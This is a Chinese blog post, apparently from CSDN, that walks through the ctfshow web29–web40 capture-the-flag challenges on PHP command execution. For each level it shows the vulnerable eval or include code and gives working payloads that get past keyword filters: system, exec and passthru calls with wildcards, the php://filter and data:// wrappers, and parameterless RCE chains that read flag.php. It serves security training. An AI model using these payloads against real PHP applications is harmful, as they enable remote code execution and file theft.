ctfshow web29-web40

最新推荐文章于 2024-08-20 14:23:46 发布
最新推荐文章于 2024-08-20 14:23:46 发布
阅读量818 收藏 29
点赞数 21
文章标签： web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_73721944/article/details/138078771
版权

命令执行

看清都过滤了些什么！！

知识点：

web34：当;和()被过滤了就用语言结构，一般有echo print isset unset include require

web37：data协议是将后面的字符串当成php代码执行，例如 /?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

web38：短标签/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

web29(shell指令)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析上面的php代码可知 如果传递了c变量，它将被赋值给变量$c，又因为有正则表达式， 检查变量$c中是否包含字符串"flag"（不区分大小写）

如果变量$c中不包含字符串"flag"，则执行eval($c);，将$c作为PHP代码进行解析和执行

试了?c=任意字符不对

1.查看phpinfo

phpinfo() 是 PHP 中的一个函数，用于显示 PHP 运行环境的配置信息。该函数可以显示 PHP 的版本信息、编译器信息、模块信息、配置信息等，可以帮助开发者了解 PHP 的运行环境和配置信息。

/?c=phpinfo();
/?c=phpinfo()?>

2.查看目录

system

/?c=system(ls);

发现存在flag.php

3.尝试使用shell指令查看flag

///将flag.php复制到1.txt

执行后无回显

?c=system("cp fla?.php 1.txt");

查看flag

/1.txt

web30(exec)

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{ 
    highlight_file(__FILE__);
}

过滤了flag，system，php

解法一：

这里用exec执行函数，虽然exec对执行结果不输出，但是不代表不可以查看flag，这里用函数执行复制（将flag复制给1.txt，直接用浏览器访问1.txt），由于flag被过滤，这里用通配符表示

/?c=exec('cp fla* 1.txt');

用passthru函数执行命令 也可以查看目录

/?c=passthru('ls');

下面这个也可以查出目录，注意是``` 不是'''

/?c=echo `ls`;

方法二：

/?c=echo `cat ????.???`;

但没有返回结果，可能是php文件将flag当变量解析了

类似于这样

同样将原本的flag.php重命名

/?c=echo `cat ????.??? >> 1.txt`;

再查看1.txt就有flag了回显了

知识点：

直接/?c=`cp fla?.??? 1.ttx`;也是可以的``相当于system

php执行系统外部命令函数：exec()、passthru()、system()、shell_exec()
web31

代码审计

php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat sort shell \. 空格 \'

空格都过滤了

做题思路就是绕过过滤

嵌套异或逃逸：eval()

&符号作为连接并且，使用get的1作为一个参数，传给c，再给1一个赋值，这样就可以跳过对c的过滤。

这里1就相当于参数逃逸出去了，不属于c

eval() 函数用来执行一个字符串表达式，并返回表达式的值。 无回显

/?c=eval($_GET[1]);&1=system('ls');

下一步

/?c=eval($_GET[1]);&1=system('cat flag.php');

还是无回显，源代码中查看

还可以用cat的倒叙tac

/?c=eval($_GET[1]);&1=system('tac flag.php');

会直接显示在页面不用查看源代码

相当于借助了一个跳板，让他执行参数1的值，参数1就脱离了对参数c的正则判断

web32

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了"/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i"

绕过flag 、system、php、cat、sort、shell、. 、空格、’、` 、echo、；、括号

括号也被过滤了，web31的方法行不通

文件包含include(）

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

php://filter/convert.base64-encode/resource是过滤器也是伪协议，意思是通过指定的通道来读取某个文件

分析：

?c=include%0a$_GET[1]?>：通过GET请求传递参数"c"，并使用include函数来包含指定的文件。在这个payload中，使用"%0a"来表示换行符"\n"，使得$_GET[1]能够被解析为一个新的变量。最终的目的是执行从GET参数"1"中获取的文件路径。

1=php://filter/convert.base64-encode/resource=flag.php：使用GET请求传递参数"1"，该参数的值为php://filter/convert.base64-encode/resource=flag.php。这是一种特殊的文件包含方式，其中php://filter用于对文件进行过滤和转换，convert.base64-encode表示将文件内容进行Base64编码，而resource=flag.php指定了要读取的文件为flag.php。

二者用&连接，参数"1"可变，前后要一致

/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

利用文件包含，将flag.php包含进来。再使用过滤器，base64编码读取flag

filter：通过指定的通道来读取指定的文件
这里使用base64读取
不用base64读不到源文件

之后base64解码

ctfshow{8056c2ba-9a09-4b94-acdd-20c2030d6e2e}
web33

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了

绕过 flag system php cat sort shell . ’ ` echo ; ( " 空格的过滤

同web32，既然过滤了括号就用include(文件包含)

(注意一个自己经常犯的错误就是将0输成字母o)

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

得到base64编码后解码

flag

ctfshow{1a7bb049-5a66-4b3b-bdd5-a18fdc588e86}

也可以不用include

require
/?c=require%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat shell sort . ’ ` echo ; : "

过滤了括号，同web32用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64解码得flag

ctfshow{7772b93d-741a-4162-bce5-2715b5f968da}
web35

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flag system php cat sort shell . 空格 ' ` echo ;( : " < =

这次多了<=

同web34用include

/?c=include%0A$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

base64编码解码得flag

ctfshow{bd3a8999-bebb-4891-b65c-71cfce527138}
web36

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag system php cat sort shell . 空格 ' ` echo ; ( : "< = / [0-9]

数字也被过滤了，但在web32中提过，参数1是可变的，前后一致即可

还是用include

将参数1换成参数a
/?c=include%0A$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

base64解码

33360a68-e0fd-40dc-8d5e-4a8a28ef3cc1
web37

代码审计

<?php
//flag in flag.php 
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题目 说flag in flag.php ，并且使用include包含输入

过滤了flag

新知识：

data协议：

text/plain,<?php system(‘命令’);?>

将后面的字符串当php代码执行

/?c=data://text/plain,<?php system('cp fla?.php 1.txt');?>

将flag.php的内容复制到1.txt中，也可以mv fla?.php 1.txt

查看1.txt

ctfshow{1cf13af4-3a5e-4440-aeb8-0e19523c36c7}

知识点：data伪协议的利用

web38

代码审计

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag php file

试了/?c=data://text/plain,<?php system("cp fla* 1.txt");?>

对啊 php被过滤了

将php换成= 变成短标签

/?c=data://text/plain,<?=system("cp fla* 1.txt");?>

查看1.txt拿到flag

ctfshow{fb22ff01-0402-4424-a89a-13f32d3d12e4}
web39

代码审计

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了flag

用data协议

/?c=data://text/plain,<?php system("ls");?>

tac 反向输出flag

/?c=data://text/plain,<?php system("tac fla?.php");?>

ctfshow{fbb2671b-e664-4f62-850e-6d76c00ccfc6}

看着有点眼熟，方法跟web37一样

php代码上有一点点不一样

include($c); echo $flag; 和include($c.".php");

web40

代码审计

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了[0-9] ~ ` @ # \$ % ^ & * （ ） - = + { [ ] } : ' " , < . > / ? \\

一眼看去过滤了好多符号，没有过滤字母

有提示：show_source(next(array_reverse(scandir(pos(localeconv()))))); GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

提示就有payload：

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

ctfshow{e4d160e6-924f-4e8d-bd4f-fd3084875a3c}

自己的方法：

拿到当前的变量

/?c=print_r(get_defined_vars());

有点不一样

/?c=print_r(next(get_defined_vars()));

/?c=print(array_pop(next(get_defined_vars())));

显示php版本

让他执行一下

/?c=eval(array_pop(next(get_defined_vars())));

博主是可以出来的，但我不可以

执行成功可以rce

@小左
关注
ctfshow-web入门-命令执行-web29
HkD01L的博客
06-21 330
ctfshow,命令执行，web29
ctfshow web入门 命令执行前篇(web29-web54)
ccfly1012的博客
08-18 1657
目录 web29 web30 web31 web32 web33 web34-web36 web37 web38 web39 web40 web41 web42 web43 web44 web45 web46 web47 web48 web49 web50 web51 web52 web53 web54 web29 <?php ​ /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 20
ctfshow命令执行web29
m0_62584974的博客
04-04 792
2022/4/3 先查看文件有多少个 ?c=system('ls'); 先执行再访问 ?c=system("cp flag.php 1.txt"); 没执行成功，因为关键字flag被过滤了 把flag的g换成？ ?c=system("cp fla?.php 1.txt"); ？是占位符占一个位置，*占多个 ...
CTFshow web入门 web29-------web56 命令执行wp
2202_75289892的博客
07-30 360
过滤了flag，可见是文件名过滤，需要查看flag.php 或者flag.txt等文件。此外 读取文件利用cat函数，输出利用system、passthru。3.双引号绕过 fl''ag''.php。2.反斜杠绕过 fl\ag.php。1.通配符绕过 fla?还有特殊变量$1、内联执行等。
CTFshow 命令执行 web29 30 31
ChenD的学习笔记
11-08 1634
CTFshow 命令执行 web29 web30 web31
CTFSHOW web入门——web29
m0_74093152的博客
04-23 239
preg_match正则匹配，如果输入的c中含有flag字段就不会将c作为代码执行，即过滤flag。构造payload：?用GET方式获取参数c，然后利用eval函数将c作为代码执行。查看网页源代码获得flag。
ctfshow-web29(命令执行)
m0_62094846的博客
01-21 170
? 可以代替一个字符 *可以代替多个字符 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-04 00:12:34 # @Last Modified by: h1xa # @Last Modified time: 2020-09-04 00:26:48 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0);
ctfshow web223-group盲注无数字
10-21
ctfshow web223-group盲注无数字
ctfshow web40-web60系统命令执行 wp
qq_56158055的博客
01-13 488
事先声明，本文只用来学习交流，不参与以任何商业形式的活动。本文不会出现flag。 web40 源码 发现过滤了所有数字，以及大部分的字符，但仔细观察可以发现，括号是中文的括号，因此我们可以利用这点，来进行无参RCE 可以利用p神的无参数RCE来做，利用localeconv()函数来做，也可以用异或和取反来做。 我这边用的是get_defined_vars()函数。 get_defined_vars()：返回由所有已定义变量所组成的数组 因此我们可以 发现一堆乱七八糟的 利用
2024年网安最新ctfshow-WEB-web6_ctf(1)
2401_84297899的博客
05-03 999
ctf.show WEB模块第6关是一个SQL注入漏洞,注入点是单引号字符型注入,并且过滤了空格,我们可以使用括号()或者注释/**/绕过先来一个万能账号,注意使用括号()替换空格,用户名输入以下payload,密码随便输成功登录既然是SQL注入漏洞,那么flag肯定就藏在当前使用的数据库中,我们使用获取当前使用的数据库,用户名输入以下payload,密码随便输当前数据库是web2。
2024年网络安全最全ctfshow-WEB-web5_ctfshow web5
2401_84281698的博客
05-03 536
ctf.show WEB模块第5关需要传递两个参数,一个字符串,一个数字,并且两个参数的md5值必须相同,我们可以利用md5的0e漏洞进行绕过0e绕过是指:0e开头的字符串在参与弱类型比较时,会被当做科学计数法,结果转换为0;我们只要传入两个md5值是以0e开头的参数,即可绕过md5加密,夺取flag页面中展示了部分源码,从源码中我们可以得知,想要夺旗需要通过GET请求传递两个参数v1和v2,并且参数v1必须是纯字母字符串,参数v2必须是数字或者数字字符串,并且两个参数的md5值必须相等。
ctfshow-WEB-web4
snowlyzz的博客
05-15 946
第一次玩ctfshow 之前都是玩的buu 进入题目 是一个文件包含漏洞,让我们get传参 先是直接读取flag.php试试 ？url =flag.php emmm，。。 好像过滤了，试一下，伪协议读取flag.php文件 ?url=php://filter/read=convert.base64-encode/resource=flag.php emm还是被过滤了。那试一下从其他地方传shell 本来到这已经没思路了，看了下别人的wp才恍然大悟，果然还是我太菜了呜呜..
命令执行--ctfshow web29
yxlr_beta的博客
09-29 153
1：PHP 在线工具 | 菜鸟工具 PHP中preg_match正则匹配的/u /i /s是什么意思 /u 表示按unicode(utf-8)匹配（主要针对多字节比如汉字） /i 表示不区分大小写（如果表达式里面有 a， 那么 A 也是匹配对象） /s 表示将字符串视为单行来匹配 Q:web29 <?php error_reporting(0); if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/fla...
用CTFShow例题练习命令执行web29-web40
qq_54502707的博客
01-29 2960
大家好，这里是KOKO~ 之前我们通过CTFShow的题目对信息收集和爆破类题目进行了针对练习，今天我们则开始命令执行的练习！
ctfshow-命令执行-web29
weixin_43400535的博客
10-28 1576
ctfshow-web30 题目描述： 原理： isset() 函数 用于检测变量是否已设置并且非 NULL。 如果已经使用 unset() 释放了一个变量之后，再通过 isset() 判断将返回 FALSE。 若使用 isset() 测试一个被设置成 NULL 的变量，将返回 FALSE。 同时要注意的是 null 字符（"\0"）并不等同于 PHP 的 NULL 常量 语法：bool isset ( mixed $var [, mixe
ctfshow之web29~web51
最新发布
qq_74350234的博客
08-20 1046
php://filter是php中独有的一种协议，它是一种过滤器，可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据，且在读取和写入之前对数据进行一些过滤，例如base64编码处理，rot13处理等。system('ls')，('system')('ls')，("system")("ls")(system)('ls')，('system')(ls) 等效都是可以执行的。和 cat 命令一样，将每个文件连接到标准输出，但顺序相反，逐行打印，首先打印最后一行。本来以为不影响，直接上?
ctfshow web入门 web29-web38
2301_81040377的博客
04-01 658
一样的做法，一个不用的步骤都没有，中途操作有问题的评论或者私聊帮你解决。但是我的payload根本就没有数字哇，继续用，都已经是套娃了家人们。到手，之前做过日志文件包含所以我看到自己的题解找到的这个"说实话不认真比对真的看不出来有啥区别，这次多了一个等号。没有意外把这个system屏蔽了没事我不用哈哈哈。这里放两张我和大佬聊天的截图，真的很无语。双引号屏蔽了我不用就是了把刚才那个改一下。但是我抱着试一试的情况把他做出来了。php伪协议，最常用的两种命令。user agent传马。某位大佬的题解看到的。
ctfshow web29-38(命令执行)
y4615184的博客
09-08 508
ctfshow web入门 29-38（命令执行）
ctfshow-web-web红包题
07-14
ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站，要求我们通过安全漏洞来获得网站的红包。 首先，我们可以检查网站的源代码，寻找可能存在的漏洞。在网站的前端页面中，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值